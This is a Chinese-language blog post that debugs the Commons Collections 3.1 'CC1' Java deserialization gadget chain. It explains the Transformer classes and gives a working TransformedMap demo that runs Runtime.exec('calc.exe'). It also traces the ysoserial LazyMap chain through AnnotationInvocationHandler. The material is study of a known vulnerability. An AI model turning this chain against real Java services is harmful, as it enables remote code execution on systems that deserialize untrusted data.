Java反序列化:CommonsCollections1调试分析

算是咕咕了好久

所谓的CC链分析,是指针对于Apache Commons Collections的反序列化分析。

Apache Commons Collections,简单而言,是Apache开源项目的一个重要组件。主要提供了各种数据结构的实现

环境搭建

需要使用到commons-collections依赖

  • commons-collections 版本为3.1

先前碰到了点小坑,项目没跑起来

后来查阅相关资料得知在高版本的jre中(大于jdk8u71),漏洞补丁被打上了,CC1链是没办法使用的

所以将SDK(软件开发工具包)和JRE(Java运行环境)设置成JDK8的版本

image-20230816002858856

image-20230815173006192

基础知识

刚上手的时候多少有点懵逼

光看代码中的函数方法怎么调用,怎么形成攻击链而不知道函数的含义多少有点难受

所以先去涉及到的类和函数进行了调研

此处只贴出核心代码

1.命令执行点

在Java SE中,存在Runtime类,在该类中提供了exec方法用以在单独的进程中执行指定的字符串命令

一个很简单的demo

public class RuntimeExecTest {
    public static void main(String[] args) throws Exception {
    	Runtime.getRuntime().exec("calc.exe");			// 返回值为Process进程类
    }
}

2.Transformer

在 Commons Collections 中,Transformer 接口用于将一个对象转换为另一个对象,通常在集合操作中使用。它只有一个方法 transform(Object input),接受一个输入对象,并返回一个经过转换的输出对象。这个接口的主要用途是在集合的转换、映射或处理操作中,对集合中的每个元素进行定制化的转换。

Transformer接口,如下代码所示

需要具体实现transform方法

package org.apache.commons.collections;

public interface Transformer {
    Object transform(Object var1);
}

3.ConstantTransformer

实现了上面的Transformer接口的transform方法

装饰一个集合,指定某个特定的返回值进行返回

public class ConstantTransformer implements Transformer, Serializable {
    public Object transform(Object input) {
        return this.iConstant;
    }
}

4.InvokerTransformer

也是实现了上面的Transformer接口的transform方法

主要过程是通过Java反射技术实现方法调用

public class InvokerTransformer implements Transformer, Serializable {

    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                // 反射
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }
}

payload

1.TransformedMap

p神的文章中有涉及到这条链,特此调试一下

demo如下

package CC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CC1EXP{

    public static void main(String[] args) throws Exception{

        // Transformer对象数组
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class},
                new Object[]{"calc.exe"}),
        };

        // 将数组写入Transformer链
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innnerMap = new HashMap();
        
        // 回调函数设置
        Map outerMap = TransformedMap.decorate(innnerMap, null, transformerChain);
        
        // 
        outerMap.put("test", "123");

    }
}

Gadget Chain

先给出我自己的调试出的Gadget Chain

后半段命令执行点的入口为Runtime.exec

/*
	Gadget chain:
		TransformedMap.put()
			TransformedMap.trasnformValue()
				TransformedMap.valueTransformer.transform()
					ChainedTransformer.transform()
						...
					

	Requires:
		commons-collections
*/

调试过程

  • 前半段在Transformer对象数组的声明,并以数组为参数写入Transformer链,这没啥好说的了
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class},
                new Object[]{"calc.exe"}),
        };

        // 将数组写入Transformer链
        Transformer transformerChain = new ChainedTransformer(transformers);
  • 回调设置

第二张图可以看到在设置key和value的相关Transformer

		Map outerMap = TransformedMap.decorate(innnerMap, null, transformerChain);	

image-20230816011640030

image-20230816011608078

  • put方法引发回调
        Map innnerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innnerMap, null, transformerChain);
        outerMap.put("test", "123");

调用put方法:

image-20230816011832317

判断是否为空,进行transform方法调用

可以看到参数如下,整个过程是利用了InvokerTransformer类的Transform方法中的反射机制来完成的

image-20230816012406527

然后进入了ChainedTransformer的transform方法,进行不断"函数式"回调

image-20230816012054269

直接用p神的图来解释这个"函数式"回调了:Runtime.exec("calc.exe")image-20230816012158214

2.LazyMap

LazyMap,顾名思义,“惰性映射”。其作用是创建一个映射,其中的值(value)在第一次访问时才会被实际计算或初始化。这可以在一些场景下节省计算资源,特别是当映射中的值是昂贵计算或初始化的对象时。

ysoserial-master项目中涉及的一条链,是用的LazyMap这一条

有了上一条的基础,调试起来会快一点

demo直接看下ysoserial-master的代码

Gadget Chain

主要不同是在前部分

后面都是利用了InvokerTransformer中的transform进行反射动态获取Runtime.exec方法

/*
	Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

	Requires:
		commons-collections
 */

调试过程

  • 看栈帧

image-20230816162344065

  • AnnotationIncationHandler.invoke()

重点部分在于AnnotationIncationHandler

反序列化工作启动时,在AnnotationIncationHandler.readObject()并没有直接调用到LazyMap.get()

而在AnnotationIncationHandler.invoke方法中涉及到了get方法调用,只要将menberValues设置为LazyMap

                Object var6 = this.memberValues.get(var4);

联系这个方法需要使用到Java对象代理,代理的具体细节在ysoserial.payloads.util.Gadgets,不赘述了

  • LazyMap

这也符合上述所说的”惰性映射“特点

    public Object get(Object key) {
        if (!super.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }
  • 之后的环节就是ChainedTransformer的函数式调用了,不赘述
posted @ 2023-08-16 16:50  Icfh  阅读(60)  评论(0编辑  收藏  举报